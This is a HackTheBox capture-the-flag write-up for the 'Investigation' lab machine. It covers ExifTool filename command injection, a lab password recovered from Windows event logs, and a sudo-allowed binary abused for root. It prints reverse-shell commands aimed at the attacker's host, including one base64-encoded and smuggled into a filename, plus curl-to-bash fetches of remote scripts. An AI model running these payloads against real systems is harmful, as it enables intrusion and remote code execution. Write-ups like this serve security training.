# **HackTheBox Writeup - Investigation**

## Recon


## **Nmap**

```
Nmap scan report for 10.10.11.197
Host is up, received user-set (0.093s latency).
Scanned at 2023-04-22 05:04:28 EDT for 64s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
                                   VERSION
22/tcp open ssh
                    syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
    3072 2f1e6306aa6ebbcc0d19d4152674c6d9 (RSA)
ssh-rsa ...
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41
http-title: Did not follow redirect to http://eforenzics.htb/
http-methods:
_ Supported Methods: GET HEAD POST OPTIONS
http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```


Add to hosts

```
echo '10.10.11.197 eforenzics.htb' >> /etc/hosts
```

## **80 - eForenzics - Premier Digital Forensics**



/service.html



20220625obdarkschoolboyfitwtiev220480832png has been uploaded. The analysis report can be viewed here

Please save this report as it will only be available for the next five minutes

http://eforenzics.htb/analysed\_images/20220625obdarkschoolboyfitwtiev220480832png.txt

ExifTool Version Number : 12.37

File Name : 2022\_06\_25\_ob---dark-schoolboy-fit-w--tie-v2-20480832.png

Directory : .

File Size : 1048 bytes

File Modification Date/Time : 2023:04:22 09:13:02+00:00 File Access Date/Time : 2023:04:22 09:13:02+00:00 File Inode Change Date/Time : 2023:04:22 09:13:02+00:00 File Permissions : -rw-r--r--File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 64 Image Height : 64 Bit Depth : 8 Color Type : RGB with Alpha Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced SRGB Rendering : Perceptual Image Size : 64x64 Megapixels : 0.004

# **User Flag**

## **Exploit Exiftool 12.37**



### Command Injection in Exiftool before 12.38 - GitHub Gist

Exiftool versions < 12.38 are vulnerable to Command Injection through a crafted filename. If the filename passed to exiftool ends with a pipe character ...

https://github.com > CVE-2022-23935 · 翻譯這個網頁

#### 0xFTW/CVE-2022-23935 - GitHub

CVE-2022-23935 exploit PoC exiftool version 12.37 written in python - GitHub - 0xFTW/CVE-2022-23935: CVE-2022-23935 exploit PoC exiftool version 12.37 ...



#### cybersecurity-help.cz

https://www.cybersecurity-help.cz > vdb · 翻譯這個網頁

### Vulnerabilities in ExifTool 12.37 - CyberSecurity Help

2022年2月20日 — List of known vulnerabilities in ExifTool in version 12.37. ... With exploit. With patch ... Path traversal in ExifTool20 Feb, 2022



#### vk9-sec.com

https://vk9-sec.com > Blog·翻譯這個網頁

### ExifTool 12.23 - Arbitrary Code Execution - CVE-2021-22204

2022年8月26日 — ExifTool could allow a local attacker to execute arbitrary code on the system, caused by improper neutralization of user data in the DjVu ...



#### convisoappsec.com

https://blog.convisoappsec.com > a-case... · 翻譯這個網頁

### A case study on: CVE-2021-22204 - Exiftool RCE

2021年5月30日 — Recently, the researcher wcbowling[1] found a vulnerability in the Exiftool tool, that enabled a malicious actor to perform a Remote code ...

### With POC script

There's already a neet POC

https://github.com/0xFTW/CVE-2022-23935

```
-(root⊗kali)-[~/investigation/CVE-2022-23935]
[+] Connected!!!!
                                            by 0xFTW
[+] Trying to bind to :: on port 1111: Done
[+] Waiting for connections on :::1111: Got connection from ::ffff:10.10.11.197 on port 33588
[*] Switching to interactive mode
bash: cannot set terminal process group (962): Inappropriate ioctl for device
bash: no job control in this shell
www-data@investigation:~/uploads/1682155243$ $ cd ~
cd ~
www-data@investigation:~$ $ ls
1s
html
uploads
www-data@investigation:~$ $
```

### Manually

https://gist.github.com/ert-plus/1414276e4cb5d56dd431c2f0429e4429

### ⊘ Overview

Exiftool versions < 12.38 are vulnerable to Command Injection through a crafted filename. If the filename passed to exiftool ends with a pipe character | and exists on the filesystem, then the file will be treated as a pipe and executed as an OS command.

### **∂** Proof of Concept

```
$ ls pwn
ls: cannot access 'pwn': No such file or directory
$ touch 'touch pwn |'
$ ./exiftool 'touch pwn |'
ExifTool Version Number
                              : 12.37
File Name
                              : touch pwn |
Directory
                              : .
File Size
                              : 0 bytes
File Modification Date/Time : 2022:01:18 18:40:18-06:00
File Access Date/Time
                       : 2022:01:18 18:40:18-06:00
File Inode Change Date/Time : 2022:01:18 18:40:18-06:00
File Permissions
                             : prw-----
Error
                              : File is empty
$ ls pwn
pwn
```

#### Upload the crafted image

```
┌──(root®kali)-[/home/kali]
└─# cp 756-536x354.jpg 'ping 10.10.14.45 -c 1 |'
```

### It's working

```
root⊗kali)-[~/investigation]

-# tcpdump -i tun0 'icmp && dst 10.10.14.45'

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode

listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

05:40:36.115685 IP eforenzics.htb > 10.10.14.45: ICMP echo request, id 3, seq 1, length 64

05:40:36.115705 IP 10.10.14.45 > eforenzics.htb: ICMP echo reply, id 3, seq 1, length 64

05:40:36.115684 IP eforenzics.htb > 10.10.14.45: ICMP echo request, id 3, seq 1, length 64
```

#### Try reverse shell

```
r—(root⊛kali)-[/home/kali]
└# cp dummy.jpg '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.45/1111 0>&1"'
cp: cannot create regular file '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.45/1111 0>&1"': No such file or directory
```


File name can't contain

Cant host the revshell then do curl 10.10.14.45/rev.sh|bash either

#### Use base64

```
_____(root@kali)-[/home/kali]
__# echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.45/1111 0>&1"' | base64 -w0

L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTQuNDUvMTExMSAwPiYxIgo=
_____(root@kali)-[/home/kali]
__# cp dummy.png 'echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTQuNDUvMTExMSAwPiYxIgo= | base64 -d | bash |'
```



#### Got shell

```
r—(root⊕kali)-[~/investigation/www]

# pwncat-cs -lp 1111 -m linux

[05:49:32] Welcome to pwncat ∰!

main_.py:164[05:53:07] received connection from 10.10.11.197:51800

bind.py:84[05:53:10] 10.10.11.197:51800: registered new host w/ db

manager.py:957(local) pwncat$
```

```
(remote) www-data@investigation:/var/www/uploads/1682157203$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## Investigate

get users

```
(remote) www-data@investigation:/$ cat /etc/passwd grep sh$
root:x:0:0:root:/root:/bin/bash
smorton:x:1000:1000:eForenzics:/home/smorton:/bin/bash
```

#### Run linpeas

```
root⊗kali)-[/opt/tools/privesc]

# python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

10.10.11.197 - - [22/Apr/2023 06:00:06] "GET /linpeas.sh HTTP/1.1" 200 -

---

(remote) www-data@investigation:/$ curl 10.10.14.45/linpeas.sh|bash
```

```
Possible private SSH keys were found! /etc/ImageMagick-6/mime.xml
```

Nope

```
-encrypted" description="<mark>PGP</mark>/MIME-encrypted message header" data-type="string" offset="0" magic="----BEGIN <mark>PGP</mark> MESSAGE-----" priority="50" />
<mime type="application/
<mime type="application/pg</pre>
                                 encrypted" description="<mark>PGP</mark>/MIME-encrypted message header" priority="100" pattern="*.<mark>pgp</mark>" /-
                                 -encrypted" description="PGP/MIME-encrypted message header" priority="100" pattern="*.<u>pgp</u>" />
-encrypted" description="<mark>PGP</mark>/MIME-encrypted message header" priority="100" pattern="*.gpg" />
-encrypted" description="<mark>PGP</mark>/MIME-encrypted message header" priority="100" pattern="*.asc<u>" /</u>>
<mime type="application/p</pre>
<mime type="application/p</pre>
                                 -keys" description="Pretty Good Privacy" data-type="string" offset="0" magic="----BEGIN PGP PUBLIC KEY BLOCK-----" priority="50" />
<mime type="application/</pre>
<mime type="application/p</pre>
                                 -keys" description="Pretty Good Privacy" data-type="string" offset="0" magic="----BEGIN <mark>PGP</mark> PRIVATE KEY BLOCK-----" priority="50" />
<mime type="application/p</pre>
                                 -keys" description="Pretty Good Privacy" data-type="short" endian="MSB" offset="0" magic="0x9501" priority="50" />
<mime type="application/po</pre>
                                 -keys" description="Pretty Good Privacy" data-type="short" endian="MSB" offset="0" magic="0x9500" priority="50" />
<mime type="application/p</pre>
                                 -keys" description="Pretty Good Privacy" data-type="short" endian="MSB" offset="0" magic="0x9900" priority="50" />
                                 -keys" description="Pretty Good Privacy" data-type="short" endian="MSB" offset="0" magic="0x9901" priority="50" />
<mime type="application/p</pre>
                                 -keys" acronym="<mark>PGP</mark>" description="Pretty Good Privacy" priority="100" pattern="*.skr"/>
<mime type="application/p</pre>
                                 -keys" acronym="<mark>PGP</mark>" description="Pretty Good Privacy" priority="100" pattern="*.pkr" />
<mime type="application/p</pre>
                                 -keys" acronym="<mark>PGP</mark>" description="Pretty Good Privacy" priority="100" pattern="*.asc" />
<mime type="application/po</pre>
                                 -signature" description="detached Open<mark>PGP</mark> signature" data-type="string" offset="0" magic="----BEGIN <mark>PGP</mark> SIGNED MESSAGE-----" priority="50" />
<mime type="application/po</pre>
<mime type="application/pgp-signature" description="detached OpenPGP signature" data-type="string" offset="0" magic="----BEGIN PGP SIGNATURE-----" priority="50" />
<mime type="application/pkcs7-signature" description="detached S/MIME signature" priority="100" pattern="*.p7s" />
```

#### Interesting task

```
Cron jobs
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
# Edit this file to introduce tasks to be run by cron.
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# For more information see the manual pages of crontab(5) and cron(8)
# m h dom mon dow command
*/5 * * * * date >> /usr/local/investigation/analysed_log && echo "Clearing folders" >> /usr/local/investigation/analysed_log && rm -r /var/www/uploads/* && rm /var/www/html/analysed_images/*
incrontab Not Found
 /etc/cron.d:
total 24
drwxr-xr-x 2 root root 4096 Aug 27 2022 .
```

```
*/5 * * * * date >> /usr/local/investigation/analysed_log && echo "Clearing folders" >> /usr/local/investigation/analysed_log && rm -r /var/www/uploads/* && rm /var/www/html/analysed_images/*
```

### Get the Log file

## **Analyze Windows Event Log**

```
—(root⊛kali)-[~/investigation/www]
root⊛kali)-[~/investigation/www/2022-01-15_1930 Windows Event Logs for Analysis]
total 1260
drwxr-xr-x 2 root root 4096 Apr 22 07:46 .
drwxr-xr-x 3 root root 4096 Apr 22 07:46 ...
-rw-r--r-- 1 root root 1276591 Apr 22 07:46 evtx-logs.zip
-rw-r--r-- 1 root root
                          441 Apr 22 07:46 message.txt
r—(root⊛kali)-[~/investigation/www/2022-01-15_1930 Windows Event Logs for Analysis]
From: Thomas Jones <thomas.jones@eforenzics.htb>
Sent: Sat, 15 Jan 2022 19:30:29 -0500
To: Steve Morton <steve.morton@eforenzics.htb>
Subject: Windows Event Logs for Analysis
Hi Steve,
Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm concerned that they are moving
data on to production without following our data transfer procedures.
Regards.
Tom
```

```
root⊕kali)-[~/investigation/www/2022-01-15_1930 Windows Event Logs for Analysis]

-# unzip evtx-logs.zip

Archive: evtx-logs.zip

inflating: security.evtx
```

### **DeepBlueCLI**

John's yt video: Forensics of Windows Event Logs just pop up today, lets use DeepBlueCLI

PS C:\Users\User\Downloads\DeepBlueCLI> .\DeepBlue.ps1 ..\security.evtx Date : 2022/8/2 上午 04:36:28 : Security Log EventID: 4673 Message : Sensitive Privilege Use Exceeds Threshold Results : Potentially indicative of Mimikatz, multiple sensitive privilege calls have been made. Username: LJenkins Domain Name: EFORENZICS-DI Command: Decoded: Date : 2022/8/2 上午 04:22:01 Log : Security EventID: 4732 Message : User added to local Administrators group Results : Username: -User SID: S-1-5-21-3901137903-2834048592-2457289426-1009 Command: Decoded: Date : 2022/8/2 上午 12:00:21 Log : Security EventID : 1102 Message : Audit Log Clear Results : The Audit log was cleared. 帳戶名稱: SMorton Command: Decoded: Date : 2022/8/2 上午 12:00:21 : Security Log

Message : Multiple admin logons for one account

EventID: 4672

Results : Username: SMorton
User SID Access Count: 4
Command :
Decoded :


## Password mistype as username

According to Hacktricks

https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics#security

Filter event with code: 4625 Which maps Authentication errorAuthentication error

Using windows event log



security 事件數目: 20,012				
▼ 已篩選: 記錄: file://C:\Users\GOD\Downloads\security.evtx; 來源: ; 事件識別碼: 4625。事件數目: 3				
等級	日期和時間	來源	事件識	工作類別
1 資訊	2022/8/2 上午 03:15:15	Microsoft Windows security auditing.	4625	Logon
<ul><li>資訊</li><li>資訊</li></ul>	2022/8/2 上午 12:50:07 2022/8/2 上午 12:34:51	Microsoft Windows security auditing. Microsoft Windows security auditing.		Logon Logon

```
+ System
```

- EventData

SubjectUserSid S-1-5-18

SubjectUserName EFORENZICS-DI\$

**SubjectDomainName**WORKGROUP

SubjectLogonId 0x3e7

TargetUserSid S-1-0-0

TargetUserName Def@ultf0r3nz!csPa\$\$

TargetDomainName

Status 0xc000006d FailureReason %%2313

Looks like a user mistyped password in username field

```
(remote) www-data@investigation:/$ su - smorton
Password:Def@ultf0r3nz!csPa$$

smorton@investigation:~$ id
uid=1000(smorton) gid=1000(smorton) groups=1000(smorton)
smorton@investigation:~$ cat user.txt
5b1053408aaf3792edfd2d95791d22c5
```

# **Root Flag**

```
r (root⊗kali)-[~/investigation]

-# ssh smorton@eforenzics.htb

smorton@investigation:~$ sudo -1

Matching Defaults entries for smorton on investigation:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/shin\:/snap/bin

User smorton may run the following commands on investigation:
    (root) NOPASSWD: /usr/bin/binary

smorton@investigation:~$ file /usr/bin/binary
```

/usr/bin/binary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a703575c5c944bfcfea8a04f0aabaf0b4fa9f7cb, for GNU/Linux 3.2.0, not stripped

## **Decompile Explorer**

Use online **Decompile Explorer** 

https://dogbolt.org/?id=da95b48c-349c-41f5-b16a-6d45eff7a9cb#Ghidra=531&BinaryNinja=401&angr=1&Hex-Rays=14

```
int32 t main(int32 t argc, char** argv, char** envp)
   if (argc != 3)
       puts("Exiting... ");
       exit(0);
   if (getuid() != 0)
       puts("Exiting... ");
       exit(0);
   if (strcmp(argv[2], "lDnxUysaQn") != 0)
       puts("Exiting... ");
       exit(0);
   puts("Running... ");
   FILE* rax_8 = fopen(argv[2], &data_2027);
   int64_t rax_9 = curl_easy_init();
   int32_t var_40 = 0x2712;
   curl_easy_setopt(rax_9, 0x2712, argv[1], 0x2712);
   int32 t var 3c = 0x2711;
   curl_easy_setopt(rax_9, 0x2711, rax_8, 0x2711);
   int32_t var_38 = 0x2d;
```

```
curl_easy_setopt(rax_9, 0x2d, 1, 0x2d);
if (curl_easy_perform(rax_9) != 0)
    puts("Exiting... ");
    exit(0);
int64_t rax_25 = snprintf(nullptr, 0, &data_202a, argv[2]);
char* rax_28 = malloc((rax_25 + 1));
snprintf(rax_28, (rax_25 + 1), &data_202a, argv[2]);
int64_t rax_37 = snprintf(nullptr, 0, "perl ./%s", rax_28);
char* rax_40 = malloc((rax_37 + 1));
snprintf(rax_40, (rax_37 + 1), "perl ./%s", rax_28);
fclose(rax_8);
curl_easy_cleanup(rax_9);
setuid(0);
system(rax_40);
system("rm -f ./lDnxUysaQn");
return 0;
```

- Needs 3 args: file\_name, param1, param2
- Needs root
- param2 ahve to equal to 1DnxUysaQn

Steps the script will perform:

- 1. curl resource from param1
- 2. Save the curl result to file with name: param2
- 3. Execute the downloaded file with perl
- 4. Finally, remove the file ./1DnxUysaQn


Generate perl reverse shell with <a href="https://www.revshells.com/">https://www.revshells.com/</a>

```
┌──(root®kali)-[~/investigation/www]
└─# echo 'use
```

### On target machine

```
smorton@investigation:~$ sudo /usr/bin/binary 10.10.14.45/rev.pl 'lDnxUysaQn'
Running...
```

#### Listener



# **Additional**

Waiting for ippsec viedoe